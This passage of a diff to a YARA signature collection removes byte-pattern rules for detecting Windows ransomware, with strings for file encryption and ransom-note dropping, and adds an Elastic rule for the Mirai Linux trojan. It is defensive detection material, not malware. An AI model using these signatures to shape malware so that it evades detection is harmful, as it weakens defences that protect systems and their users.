-            ?? 4C 89 7C 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 8D 14 00 48 8D BD ?? ?? ?? ?? 48 03 FA 4C 89 7C 24 ?? 4C 89
-            7C 24 ?? 4C 89 7C 24 ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48
-            8D 9D ?? ?? ?? ?? 48 D1 FA 48 83 FA ?? 72 ?? 45 33 C0 48 8D 4C 24 ?? E8
-        }
-		$find_system_volumes_v1_p2 = {
-            4C 89 7C 24 ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 3B C7 74
-            ?? 66 66 66 0F 1F 84 00 ?? ?? 00 00 44 0F B6 0B 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 3B
-            CA 73 ?? 48 8D 41 ?? 48 89 44 24 ?? 48 8D 44 24 ?? 48 83 FA ?? 48 0F 43 44 24 ?? 44
-            88 0C 08 C6 44 08 ?? ?? EB ?? 45 33 C0 41 8D 50 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48
-            83 C3 ?? 48 3B DF 75 ?? 4C 89 BD ?? ?? ?? ?? 48 8B 46 ?? 48 3B 46 ?? 74 ?? 4C 89 38
-            4C 89 78 ?? 4C 89 78 ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 4C
-            89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 83 46 ?? ?? EB ?? 4C 8D 44
-            24 ?? 48 8B D0 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 FF C2
-            48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1
-            48 83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ??
-            ?? C6 44 24 ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 48 8B C6 48 81 C4
-        }
-		$set_default_icon_p1 = {
-            48 89 5C 24 ?? 48 89 4C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ??
-            48 8B F1 45 33 ED 44 89 6C 24 ?? 4C 8B 35 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 4C 8B F8 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B C8 49 2B CE 49 3B CF 0F 82 ?? ??
-            ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 4C 0F 43 25 ?? ?? ?? ?? 4C 89 6C
-            24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 4B 8D 2C 37 BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 3B
-            EB 0F 86 ?? ?? ?? ?? 48 8B DD 48 83 CB ?? 48 3B D8 76 ?? 48 8B D8 48 B8 ?? ?? ?? ??
-            ?? ?? ?? ?? 48 8D 0C 00 EB ?? B8 ?? ?? ?? ?? 48 3B D8 48 0F 42 D8 48 8D 4B ?? 48 B8
-            ?? ?? ?? ?? ?? ?? ?? ?? 48 3B C8 0F 87 ?? ?? ?? ?? 48 03 C9 48 81 F9 ?? ?? ?? ?? 72
-            ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ??
-            ?? ?? ?? 48 8D 78 ?? 48 83 E7 ?? 48 89 47 ?? EB ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48
-            8B F8 EB ?? 49 8B FD 48 89 7C 24 ?? 48 89 6C 24 ?? 48 89 5C 24 ?? 4B 8D 1C 36 4C 8B
-        }
-		$set_default_icon_p2 = {
-            C3 49 8B D4 48 8B CF E8 ?? ?? ?? ?? 48 8D 0C 3B 4F 8D 04 3F 48 8D 15 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 66 44 89 2C 6F BB ?? ?? ?? ?? 89 5C 24 ?? 48 8D 54 24 ?? 48 83 7C 24 ??
-            ?? 48 0F 43 54 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ??
-            48 89 44 24 ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 44 89 6C 24 ?? 45 33 C9 45 33
-            C0 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CE 48 83 7E ?? ?? 72 ??
-            48 8B 0E 8B 46 ?? 03 C0 89 44 24 ?? 48 89 4C 24 ?? 44 8B CB 45 33 C0 48 8D 15 ?? ??
-            ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 B9 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? EB ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 4C 24
-            ?? 45 33 C9 44 8B C0 33 D2 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E3 ?? 89 5C 24 ?? 48
-            8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B C1 48 81
-            FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 77 ??
-            E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 44 89 6C 24 ?? 48 8B CE
-            E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C
-            5F 5E 5D C3
-        }
-		$cmd_prompt = {
-            48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8B EC 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4
-            48 89 45 ?? 48 8B D9 4C 8D 05 ?? ?? ?? ?? 33 FF 48 8D 4D ?? 33 D2 48 89 7D ?? E8 ??
-            ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 85 DB 75 ?? 48 8B 4D ?? 48 85 C9 0F 84 ?? ??
-            ?? ?? 33 D2 E8 ?? ?? ?? ?? 48 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 85 DB 40 0F 94 C7 E9 ??
-            ?? ?? ?? 48 8B 45 ?? 48 8D 0D ?? ?? ?? ?? 48 89 45 ?? 48 89 4D ?? 48 89 5D ?? 48 89
-            7D ?? 48 85 C0 74 ?? E8 ?? ?? ?? ?? 8B 18 E8 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 33 C9
-            89 38 48 8B 55 ?? E8 ?? ?? ?? ?? 48 8B F8 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? 89 18 EB ??
-            E8 ?? ?? ?? ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ?? 48 8B 4D ?? E8 ?? ?? ??
-            ?? 83 CF ?? EB ?? E8 ?? ?? ?? ?? 89 18 48 8D 15 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 48
-            89 55 ?? 33 C9 E8 ?? ?? ?? ?? 48 8B F8 48 8B 4D ?? E8 ?? ?? ?? ?? 8B C7 48 8B 4D ??
-            48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 5D C3
-        }
-		$exclude_from_encryption = {
-            66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D
-            4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B
-            55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ??
-            ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85
-            ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ??
-            66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D
-            4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B
-            55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ??
-            ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85
-            ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ??
-            66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D
-            4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B
-            55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ??
-            ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0
-        }
-		$encrypt_files_v1 = {
-            41 83 CC ?? 44 89 64 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FF ?? 48 0F 43 8C 24 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 8B F8 41 83 E4 ?? 44 89 64 24 ?? 48 8B 94 24 ?? ?? ?? ?? 48
-            83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ??
-            ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 49
-            ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ??
-            ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 9C 24 ?? ?? 00 00 40 F6 C7 ?? 74
-            ?? 49 8B CF E8 ?? ?? ?? ?? 90 48 BE ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 4C
-            8D 35 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? C6 84
-            24 ?? ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B F0 48
-            89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 4C 8B 70 ?? 48
-            83 78 ?? ?? 72 ?? 48 8B 30 48 8D 8C 24 ?? ?? ?? ?? 49 83 FE ?? 73 ?? 41 B8 ?? ?? ??
-            ?? 48 8B D6 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ??
-            ?? EB ?? 4C 89 AC 24 ?? ?? ?? ?? 49 8B FE 48 83 CF ?? 48 89 BC 24 ?? ?? ?? ?? 49 3B
-            FD 49 0F 47 FD 48 8D 57 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4E 8D 04 75 ?? ??
-            ?? ?? 48 8B D6 48 8B C8 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 89 BC 24
-        }
-		$find_system_volumes_v2 = {
-            BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 0F 1F 44 00 ?? 4C 8D 8D ??
-            ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 89 74 24 ?? 48 89 74 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ??
-            48 89 74 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 4C 8D 04 00 48 8D 85 ?? ?? ?? ?? 49 03 C0 48 89 74 24 ?? 48 89 74
-            24 ?? 48 89 74 24 ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 48 8D
-            8D ?? ?? ?? ?? 48 3B C8 74 ?? 49 D1 F8 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ??
-            ?? ?? 90 48 8B 43 ?? 48 3B 43 ?? 74 ?? 48 89 30 48 89 70 ?? 48 89 70 ?? 41 B8 ?? ??
-            ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ??
-            ?? 66 89 74 24 ?? 48 83 43 ?? ?? EB ?? 4C 8D 44 24 ?? 48 8B D0 48 8B CB E8 ?? ?? ??
-            ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B
-            C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8
-            ?? 77 ?? E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 41
-            B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48
-            8B CF FF 15 ?? ?? ?? ?? 48 8B C3 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E
-            5D C3
-        }
-		$drop_ransom_note = {
-            48 83 3D ?? ?? ?? ?? ?? 48 0F 43 15 ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 4D ?? E8
-            ?? ?? ?? ?? 48 8B D8 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 45 8D 46 ?? 48 8B D0 48 8D
-            4D ?? E8 ?? ?? ?? ?? 4C 89 73 ?? 48 C7 43 ?? ?? ?? ?? ?? 66 44 89 33 BE ?? ?? ?? ??
-            89 75 ?? 83 E6 ?? 89 75 ?? 48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48
-            8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83
-            C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ??
-            ?? 66 44 89 75 ?? 48 8D 4D ?? 48 83 7D ?? ?? 48 0F 43 4D ?? 4C 89 74 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 48 8B D8 48 83 F8 ?? 74 ?? 4C 89 74 24 ?? 45 33 C9 41 B8 ?? ?? ?? ?? 48 8D 15
-            ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ??
-            48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA
-            ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 75 ?? 48 8B 57
-            ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 0F 48 81 FA ?? ?? ?? ?? 72 ?? 48
-            83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ??
-            4C 89 77 ?? 48 C7 47 ?? ?? ?? ?? ?? 66 44 89 37 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ??
-            49 8B 73 ?? 49 8B 7B
-        }
-		$encrypt_files_v2_p1 = {
-            BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 48 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89
-            85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 49 8B FA 49 8B D1 4D 85 D2
-            74 ?? 4C 8B C1 4D 2B C1 0F B7 02 66 41 39 04 10 75 ?? 48 83 C2 ?? 48 83 EF ?? 75 ??
-            49 2B CB 48 D1 F9 E9 ?? ?? ?? ?? 48 83 C1 ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48
-            8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 90 48 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ??
-            48 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ??
-            ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 0B 00 F3 0F 7F 45 ??
-            48 89 75 ?? 48 89 75 ?? 48 8D 45 ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ??
-            C6 45 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45
-            ?? ?? 48 8D 45 ?? 83 E0 ?? 48 8D 44 05 ?? 48 89 45 ?? 89 75 ?? C7 45 ?? ?? ?? ?? ??
-            48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ??
-            ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89
-            44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48
-            8D 05 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48
-            C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C
-            8B E8 48 89 44 24 ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 89 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49
-        }
-		$encrypt_files_v2_p2 = {
-            8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8D 0D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8B CF 41 B8 ?? ?? ?? ?? 49 8B D5
-            48 8D 4C 24 ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D5 48 8B 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 83 C1 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 E8 ?? ?? ?? ??
-            BF ?? ?? ?? ?? 4C 3B FF 0F 8D ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8B FE 49 8B C7
-            48 2B C7 48 99 83 E2 ?? 48 03 C2 48 C1 F8 ?? 4C 8B F0 F2 0F 59 35 ?? ?? ?? ?? 0F 57
-            C0 F2 48 0F 2A C0 F2 0F 59 F0 F2 48 0F 2C CE 48 85 C9 0F 85 ?? ?? ?? ?? 4D 85 FF 0F
-            8E ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ??
-            90 48 8D 35 ?? ?? ?? ?? 48 89 75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ??
-            ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24
-            ?? 4D 8B CF 45 33 C0 48 8B D3 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49
-            81 FF ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24
-            ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48
-            8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ??
-            48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8B CF 45 33 C0 48 8B D3 49 8B CE
-            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 99 48 F7 F9 4C 8B E8 48 85 C0 75 ?? 48 8D 45 ?? 48
-        }
-		$encrypt_files_v2_p3 = {
-            89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 35 ?? ?? ?? ?? 48 89
-            75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ??
-            ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4D 8B CF 45 33 C0 48 8B D3
-            48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? E9 ?? ?? ?? ?? 4D 85 F6 0F 8E ??
-            ?? ?? ?? 4D 8B FD 49 C1 E7 ?? 4C 8B A5 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 44 24 ?? 48
-            8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05
-            ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89
-            85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8B C7 48 8B D3 49 8B
-            CC E8 ?? ?? ?? ?? 49 03 F5 49 03 FF 49 3B F6 7C ?? 4C 8B A5 ?? ?? ?? ?? 4C 8B 6C 24
-            ?? 48 8D 35 ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 4C 8B C3 48 8B 95
-            ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 4D 8B C4
-            48 8D 95 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48
-            85 D2 74 ?? 48 8B FA 33 C0 B9 ?? ?? ?? ?? F3 AA 48 8B CA E8 ?? ?? ?? ?? 90 4D 85 ED
-            74 ?? 49 8B FD 33 C0 B9 ?? ?? ?? ?? F3 AA 49 8B CD E8 ?? ?? ?? ?? 90 48 89 74 24 ??
-            4C 89 74 24
-        }
+		$a = { 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 }
 
 	condition:
-		uint16(0)==0x5A4D and ((($find_files) and ( all of ($find_system_volumes_v1_p*)) and ( all of ($set_default_icon_p*)) and ($cmd_prompt) and ($exclude_from_encryption) and ($encrypt_files_v1)) or (($find_files) and ($cmd_prompt) and ($find_system_volumes_v2) and ($drop_ransom_note) and ( all of ($encrypt_files_v2_p*))))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Bananacrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Aa39Fb02 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects BananaCrypt ransomware."
-		author = "ReversingLabs"
-		id = "9e47d094-d7fc-57dd-826c-5321d0219273"
-		date = "2020-09-14"
-		modified = "2020-09-14"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.BananaCrypt.yara#L1-L103"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6bde4430e438947b0d7f10c4de11216929ec03af81b3d74f8b7bb8ed134d08d2"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "aa39fb02-ca7e-4809-ab5d-00e92763f7ec"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L989-L1006"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "ffa95d92a2b619008bd5918cd34a17cd034b2830dc09d495db4b0c397b1cb53a"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "BananaCrypt"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 55 ?? 89 8D ?? ?? ??
-            ?? 85 D2 74 ?? 8B 45 ?? 85 C0 0F 85 ?? ?? ?? ?? 31 F6 0F B6 13 84 D2 0F 84 ?? ?? ??
-            ?? 8D 43 ?? 88 95 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? 8D BD ?? ?? ?? ?? EB ?? 83 C0 ?? 83
-            C7 ?? 88 57 ?? 39 C1 74 ?? 0F B6 10 84 D2 75 ?? 89 BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            C6 00 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 F0 84
